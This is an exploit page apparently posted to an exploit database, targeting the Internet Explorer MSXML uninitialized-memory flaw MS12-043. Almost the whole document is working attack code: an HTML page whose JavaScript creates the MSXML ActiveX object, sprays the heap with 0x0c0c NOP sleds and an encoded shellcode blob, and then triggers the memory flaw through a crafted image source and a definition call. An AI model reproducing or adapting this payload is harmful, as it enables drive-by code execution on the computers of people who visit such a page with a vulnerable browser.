## # Title : Internet Explorer MSXML Uninitialized Memory (MS12-043) # Date : 2012-09-01 # Auther : Senator of Pirates # E-Mail : [email protected] # FaceBook : /SenatorofPirates : /SenatorofPiratesInfo # Greetz : i greet to my best friends and every Moroccan and 1337day.com milw0rm Exploit DataBase ## <html> <script> var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); var src = unescape("%u0c0c%u0c0c"); while (src.length < 0x1000) src += src; src = "\\\\xxx" + src; src = src.substr(0, 0x1000 - 20); var pic = document.createElement("img"); shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops = unescape ("%u0c0c%u0c0c"); headersize = 20; slackspace = headersize + shellcode. length ; while (nops. length < slackspace) nops += nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops. length - slackspace); while (block. length +slackspace < 0x50000) block= block+ block+ fillblock; memory= new Array (); for ( counter=0; counter<250; counter++) memory[counter]= block + shellcode; pic.src = src; pic.nameProp; alert(xmlDoc.definition("")); </script> </html>